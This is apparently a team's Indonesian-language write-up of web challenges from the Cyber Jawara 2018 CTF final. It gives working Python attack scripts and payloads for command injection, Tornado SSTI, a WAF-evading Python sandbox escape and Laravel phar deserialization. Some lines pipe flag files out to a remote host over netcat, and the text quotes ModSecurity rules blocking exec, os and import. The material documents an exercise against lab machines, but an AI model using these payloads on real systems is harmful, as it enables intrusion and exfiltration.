Cyber Jawara 2018 Final - Web Exploitation
P03 - Image Manipulator
Pada source Driver/Convert.php
terdapat fungsi berikut
1 | public function executeConvertCmd($cmd, $values = array()) |
Dibagian kontruktor terdapat setup $cmd
yang dimana $cmd
berasal dari hasil requests.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21public function __construct($params, $context = array())
{
parent::__construct($params, $context);
if (empty($context['convert'])) {
throw new InvalidArgumentException(
'A path to the convert binary is required.'
);
}
$this->_convert = $context['convert'];
if (!empty($context['identify'])) {
$this->_identify = $context['identify'];
}
if (!empty($params['filename'])) {
$this->loadFile($params['filename']);
} elseif (!empty($params['data'])) {
$this->loadString($params['data']);
} else {
$cmd = "-size {$this->_width}x{$this->_height} xc:{$this->_background} -strip {$this->_type}:__FILEOUT__"; // Here
$this->executeConvertCmd($cmd);
}
}
Dari sini dapat disimpulkan bahwa web ini memiliki celah RCE
Untuk mengexploit nya cukup dengan mengirimkan 123 $(cat /var/flag/* | nc 10.10.30.9 {}) #
pada bagian Size misal nya.
Script yang kami gunakan saat melakukan Attack1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38import requests
import threading
import re
import socket
def retrive_flag(port=8888):
TCP_IP = '0.0.0.0'
TCP_PORT = port
BUFFER_SIZE = 20 # Normally 1024, but we want fast response
data = ""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()
while 1:
data += conn.recv(BUFFER_SIZE)
if not data or '}' in data: break
if "CJ2018" not in data:
break
print(data)
conn.close()
except:
pass
return data
sp = 15000
for i in range(1, 19, 1):
t = threading.Thread(name='my_service', target=retrive_flag, args=(sp+i,))
t.start()
port = str(i).rjust(2, "0")
url = "http://172.29.100.8:5{}03/".format(port)
files = {'file': open('cat_flag.jpg','rb')}
data = dict(resize="1", width="123 $(cat /var/flag/* | nc 10.10.30.9 {}) #".format(sp+i))
r = requests.post(url, files=files, data=data)
t.join()
P04 - Code Runner
Pada soal ini cukup mudah, dimana user bisa menjalankan code php dengan beberapa aturan WAF
1 | SecRule REQUEST_URI|ARGS|REQUEST_BODY "exec" "id:1,phase:2,deny" |
Untuk membaca file flag bisa menggunakan fungsi glob()
untuk melihat nama file flag dan fungsi file_get_conents()
untuk membaca flag.
Script yang kami gunakan saat melakukan Attack1
2
3
4
5
6
7
8
9
10
11
12
13
14import requests
import re
for i in range(1,19,1):
port = str(i).rjust(2,"0")
url = "http://172.29.100.8:5{}04/".format(port)
data = dict(code='var_dump(glob("/var/flag/*"));');
r = requests.post(url,data=data)
raw = r.content
flagpath = re.findall('"/var/flag/(.*?)"',raw)[0]
data = dict(code='echo file_get_contents("/var/flag/{}");'.format(flagpath));
r = requests.post(url,data=data)
flag = re.findall('<b>Result:</b><br />CJ2018{(.*?)}',r.content)[0]
print "CJ2018{%s}" % flag
P07 - Exif Reader
Web ini akan membaca metadata dari gambar yang di upload1
2
3
4
5
6
7
8
9
10if (hasattr(img, '_getexif') and img._getexif()):
exif = {
ExifTags.TAGS[k]: v
for k, v in img._getexif().items()
if k in ExifTags.TAGS
}
metadata = ""
for key, value in exif.iteritems():
metadata += "<b>" + str(key) + "</b> : " + str(value) + "<br>"
metadata += "<br><br>"
Lalu web akan merender template dengan metadata yang didapatkan.1
2
3
4page = open('template/show.html', 'r').read()
page = page.replace('METADATA_PLACEHOLDER', metadata)
t = tornado.template.Template(page)
self.write(t.generate(image_url=img_path))
Dari ini didapatkan bahwa web ini memiliki celah SSTI
karena metadata dapat kita ubah.
Untuk mengubah metadata dapat menggunakan exiftool
1
exiftool -software='{% import os %}{{os.popen("cat /var/flag/*").read()}}' cat_flag.jpg
Script yang kami gunakan saat melakukan Attack1
2
3
4
5
6
7
8
9
10
11
12import requests
import re
for i in range(1, 19, 1):
try:
port = str(i).rjust(2, "0")
url = "http://172.29.100.7:5{}07/upload".format(port)
files = {'file': open('cat_flag.jpg','rb')}
r = requests.post(url, files=files)
d = re.findall("CJ2018{.*}", r.text)
print(d[0])
except:
pass
P08 - Hackme
Di web ini terdapat 2 fungsi, yaitu melakukan nslookup
dan evaluate
.
Dengan rules WAF1
2
3
4
5SecRule ARGS|REQUEST_BODY "\;" "id:1,phase:2,deny"
SecRule ARGS|REQUEST_BODY "\|" "id:2,phase:2,deny"
SecRule ARGS|REQUEST_BODY "\&" "id:3,phase:2,deny"
SecRule ARGS|REQUEST_BODY "os" "id:4,phase:2,deny"
SecRule ARGS|REQUEST_BODY "import" "id:5,phase:2,deny"
Kami memanfaatkan fungsi evaluate
untuk mendapatkan RCE.
Payload yang kami gunakan1
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)]('subprocess').check_output('COMMAND',shell=True)
Script yang kami gunakan saat melakukan Attack1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import requests
import re
payload1 = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)]('subprocess').check_output('ls /var/flag',shell=True)"
for i in range(1,19,1):
try:
port = str(i).rjust(2,"0")
r = requests.post("http://172.29.100.8:5{}08/evaluate".format(port),data={"expression" : payload1})
raw = r.content
path_flag = re.findall("<body>Result: (.*?)\n<br>",raw)[0]
payload2 = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)]('subprocess').check_output('cat /var/flag/{}',shell=True)".format(path_flag)
r = requests.post("http://172.29.100.8:5{}08/evaluate".format(port),data={"expression" : payload2})
raw = r.content
flag = re.findall("<body>Result: CJ2018{(.*?)}",raw)[0]
print "CJ2018{%s}" % flag
except:
pass
P10 - Assignment (Solved After Competition)
Web ini menggunakan freamwork laravel yang sudah di modif.
Source Maincontroller.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\User;
use App\Http\Controllers\Controller;
class MainController extends Controller
{
public function show(Request $request)
{
$dir_name = '/tmp/' . $request->session()->getId();
if (file_exists($dir_name)) {
$files = glob($dir_name . '/*');
$checked = array("c", "cpp", "py", "sh");
$result = array();
foreach ($files as $file) {
if (is_file($file)) {
$exp = explode('.', $file);
$extension = end($exp);
$exp = explode('/', $file);
$filename = end($exp);
if (in_array($extension, $checked)) {
$content = file_get_contents($file);
$result[$filename] = sha1($content);
}
}
}
return view('main', ['result' => $result]);
}
return view('main');
}
public function upload(Request $request)
{
if ($request->hasFile('file')) {
$dir_name = '/tmp/' . $request->session()->getId();
if (!file_exists($dir_name)) {
mkdir($dir_name);
} else {
$files = glob($dir_name . '/*');
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}
}
$file = request()->file('file');
$extension = $file->getClientOriginalExtension();
$allowed = array("tar", "zip", "phar");
if (in_array($extension, $allowed)) {
$name = $file->getClientOriginalName();
$file->move($dir_name . '/', $name);
$path = $dir_name . '/' . $name;
$archive = NULL;
try {
$archive = new \Phar($path);
} catch (\Exception $e) {
try {
$archive = new \PharData($path);
} catch (\Exception $e) {
// pass
}
}
if ($archive) {
$archive->extractTo($dir_name);
$checked = array("c", "cpp", "py", "sh");
$result = array();
foreach (new \RecursiveIteratorIterator($archive) as $submission) {
$exp = explode('.', $submission);
$extension = end($exp);
$exp = explode('/', $submission);
$filename = end($exp);
if (in_array($extension, $checked)) {
$content = file_get_contents($submission);
$result[$filename] = sha1($content);
}
}
return view('main', ['result' => $result]);
} else {
return view('main', ['error' => "Invalid Archive"]);
}
} else {
return view('main', ['error' => "Invalid Archive"]);
}
}
return view('main');
}
}
Intended solution dari challenge ini adalah memanfaatkan bug PHP Object Injection
melalui unserialize
dari phar
. Sehingga dapat dilakukan unserialize
tanpa fungsi unserialize()
Terdapat code yang dimodif yaitu di vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
(Code ini penting, karena untuk membuat POP gadget
)
1 |
|
Untuk menggenerate payload nya bisa menggunakan phpgcc
, dengan catatan pada gadgetchains/Laravel/RCE/1/gadget.php
Source asli1
2
3
4
5
6
7
8
9
10
11
12
13protected $events;
protected $event;
function __construct($events, $cmd)
{
$this->events = $events;
$this->event = $cmd;
}
....
protected $formatters = [
'dispatch' => 'assert'
];
....
Ubah mengikuti code yang di modif di file vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
Sehingga menjadi1
2
3
4
5
6
7
8
9
10
11
12
13protected $laravel_events;
protected $laravel_event;
function __construct($events, $cmd)
{
$this->laravel_events = $events;
$this->laravel_event = $cmd;
}
....
protected $formatters = [
'dispatch' => 'passthru'
];
....
Lalu generate payload dan upload ke web.1
2$ ./pharggc LARAVEL/RCE1 "cat /etc/issue | nc 127.0.0.1 2121"
Payload written to: out.phar
Note
Terdapat lebih dari satu Vulnerability pada service-service yang diberikan. Write up ini berdasarkan Vulnerability yang kami gunakan saat event berlangsung.
Bagi yang ingin mencoba service-service nya dapat melihat di repo : https://github.com/farisv/CJ2018-Final-CTF